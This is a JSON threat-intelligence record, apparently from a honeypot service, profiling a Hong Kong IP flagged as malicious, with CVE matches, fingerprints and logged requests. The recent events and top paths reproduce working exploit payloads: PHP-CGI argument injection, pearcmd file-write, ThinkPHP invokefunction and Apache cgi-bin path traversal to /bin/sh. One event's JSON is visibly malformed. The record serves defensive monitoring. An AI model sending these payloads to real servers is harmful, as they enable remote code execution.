{"ip":"39.109.116.214","total_events":60,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":null,"why":["45 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 604,684 bytes: sustained payload delivery, not a single opportunistic request.","Held a session open for 61s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"604,684 bytes sent, longest session 61s","bytes_sent":604684,"session_seconds":61,"persistent":true}},"first_seen":"2026-09-08T12:01:36","last_seen":"2026-09-23T12:02:29","events_24h":54,"events_7d":58,"geo":{"country_code":"HK","country_name":"Hong Kong","region":"","city":"","lat":22.2578,"lon":114.1657,"asn":142403,"org":"YISU CLOUD LTD"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":48},{"port":2222,"proto":"tcp","label":"SSH-alt","count":6},{"port":80,"proto":"tcp","label":"HTTP","count":5},{"port":22,"proto":"tcp","label":"SSH","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b5030360427d52e3b19eff255949a9ca00a96144969c652e974bc341b46db8fcfa5a9f20ac3eb26255168915a29ca7f4b8ebc755aadc21dec313babcb7bb7d596b12df4100242a2a130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f0035010005485a5a000000170000ff01000100000a000c000afafa11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04edfafa00010011ec04c0dc688ff047bff3dace1cd7ad73220af69611aba0cb4f520ecfc51364e00103c95505d092600bad7e444f93f44cecc03668096e6b0280d3b6105fc17adcabcb63e237bbc13261495a9b4ba4223b72afb08988dc6d59b189af116f4db695950724d321b08fbbab27e78e0526acf8f251298b5b70d05c28c3b44097a8064956d59cb91dc0511144c030495807accf7c3022a67a4104abb015e576f447ab02d6ab63d002d71551aa172f23e743f1391a0374168c511b7d47123fe33dadd8525a6557e8ca54ffe37f5c747abca8874aa29403ab0df5b7bb7fca03ddf434da040bae970c2ef38d697b2c05614aae81a74f33a032fb8687d1a27829bb46177dc60347b4c6666d04b9ff1816f3c864c806932201a001265477225ede88aa3910486229c20cf33ae071b9273ba17ed99271788a09bc5fa2733f29d14ca26abc75336d80b1783ecba697233db98bb2fa251bfe758e582106ad803bb4d9085ba61adec63ff4dba141bc3eacb70c59c1a04bdb7f8bd34b7306c444f70af84a305ea8c230f262dfa11c2c303180e46670621726e274d90b00b7a3a68607b33130315ff09e4c82004b6907a6aa85ef347c2d5371886a20092a8addd66739a25edf100dcad698003c50c5fb1328549a2df53785775b24f59da49a3ae8bb6b4d328fed054db5d70e06ea5ded31792552ac08705eedd768606b018fcbbae809761b273e15191b2631c498d61ee80c647ef86e5f98403299c298d8adc00295c5c659bee28df0404bbda209f014c59e9241f657af11402670518737f331b2aa93e363bae8d896b785cce32aa2ccdc05beb93698308a9f9a78cf6cb601549b5b24447d3b34954a9aff80baabf4458c33005e22444c0c43e472232b750444fa34cf11a4511b7a37463de80471a9d02ac90960de18002374a338b7af7d72b55009870562b475358c54157eedf61a015269ce7a4c4ad89c0fca2629a921ab039a4354445ba308f6b431c47927072cadbf493d17e299ef0c9bc8bc8cb686b4c58617280646c8016d64b90e71a134c9e56b77fc585c2706ac65b6fa8035993ca2203370009d4e55f25d5dfc18717a3a6207c691346ad94628052388a4ab01d4a8ac0a7780ad591cf9f547443a8aa6f83a4d422d02c56313d5c0e1531db9243940b8401b809745841bf1a75028537b30930af61aa816e59d676239b6c41be52449d0793315799af95a895e746fefe2a27c4c04d01c03eae29f36ec694079719e4c0d45ecb5e8524caf1c1a8a8b59f6a700ab75cf8d669717d710a3a99ee523c98922c26baa383288cf9117b0b726526307316958bf2c387f9ff8bf265622385c3c4be631b85863b5486a1f6c41a3e899975a74127430f18251a0e3263879ceb672a9906a7832e9a2378b8339d716bc63971382be19c75f9da97424d017f84961b3692c8c659d49a19da4b5c3074099e57779d36c92349b1b3c2c9533a7b47b07080011b153ba71da5c89069082f7b37451669377c1037dc9cd7f5495bc162d92f2ab2775511c8035ba5b753f30165b10b5a8055bce759d9a45a9346618ea88a546b2849d92b84d3357eebb1535fa9a3f6b0b3e76315b7c1ea45bc85682b4122733849c985482a2d094c6a28b6a48b1c47d5006386a838a9cdade7891e48cc9e62ae69908f8329422c0099cf1470e39ab042071f56d85f0fe3b135e50a81625174d2701a1e49142e17474002f59001d0020f908a17e820b9b8e569616d779688c7179de35bb5c99b373d486cb9ca19e984b002d00020101002b0007064a4a030403039a9a0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["a11cuq070_0000066b_78584aaf","a11cun050_0000006b_bd5c72d1"]},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":129,"a11cuq070_0000066b_78584aaf":4,"a11cun050_0000006b_bd5c72d1":8},"akin_families":{"a11cun050_0000006b_bd5c72d1":{"head":"a11cun050_0000006b_bd5c72d1","shapes":2,"ips":8}},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-09-08","count":1},{"date":"2026-09-12","count":1},{"date":"2026-09-20","count":1},{"date":"2026-09-21","count":3},{"date":"2026-09-23","count":54}],"recent_events":[{"timestamp":"2026-09-23T12:02:29","port":2222,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-libssh2_1.11.1\r\n","payload_hex":"5353482d322e302d6c6962737368325f312e31312e310d0a","method":"","user_agent":"","ja3":"","session":"65437384-cb03-4660-b883-b3ffd25ac0bf","seq":1,"duration_ms":2101,"bytes_in":24,"bytes_out":14,"enriched":{"digest":"216fab6b63b6535b","label":"SSH","strings":["SSH-2.0-libssh2_1.11.1"]}},{"timestamp":"2026-09-23T08:21:13","port":80,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"VE-2024-4577\")); ?>","payload_hex":"56452d323032342d343537372229293b203f3e","method":"","user_agent":"","ja3":"","session":"78a6c087-a8f3-48e9-a407-6277a9e47b9b","seq":5,"duration_ms":2320,"bytes_in":3722,"bytes_out":265,"enriched":{"digest":"3a09cc3317d9d6c6","strings":["VE-2024-4577\")); ?>"]}},{"timestamp":"2026-09-23T08:21:12","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"192.3.118.146","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"1193\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"192.3.118.146:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1\r\nHost: 192.3.118.146:80\r\nConnection: keep-alive\r\nUser-Agent: libredtail-http\r\nUpgrade-Insecure-Requests: 1\r\nAccept: */*\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 1193\r\n\r\nPOST /?%ADd+allow_url_include%3d1+%ADd+auto_prepen…","Host: 192.3.118.146:80","Connection: keep-alive","User-Agent: libredtail-http","Upgrade-Insecure-Requests: 1","Accept: */*","Content-Type: application/x-www-form-urlencoded","Content-Length: 1193","","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a203a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3cfa5847-944c-4471-aaee-a624d58b4eef","seq":48,"duration_ms":60872,"bytes_in":19036,"bytes_out":3792},{"timestamp":"2026-09-23T03:24:27","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a203a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3cfa5847-944c-4471-aaee-a624d58b4eef","seq":47,"duration_ms":60573,"bytes_in":18848,"bytes_out":3713},{"timestamp":"2026-09-23T03:24:26","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a203a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3cfa5847-944c-4471-aaee-a624d58b4eef","seq":46,"duration_ms":59460,"bytes_in":18590,"bytes_out":3634},{"timestamp":"2026-09-23T03:24:25","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\":443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a203a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3cfa5847-944c-4471-aaee-a624d58b4eef","seq":45,"duration_ms":58335,"bytes_in":18342,"bytes_out":3555}],"http_methods":[{"method":"GET","count":41},{"method":"POST","count":10}],"distinct_ports_total":4,"top_paths":[{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":2,"ports":2},{"path":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","count":2,"ports":2},{"path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","count":2,"ports":2},{"path":"/vendor/phpunit/phpunit/LICENSE/eval-stdin.php","count":1,"ports":1},{"path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":1,"ports":1},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":1,"ports":1},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1}],"distinct_paths_total":48,"top_snis":[],"top_hosts":[{"value":"192.3.118.146","count":3}],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":5}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"1193","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"192.3.118.146:80","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":7},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"]},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"]}],"data_as_of":"2026-09-23T15:12:52.242573+00:00"}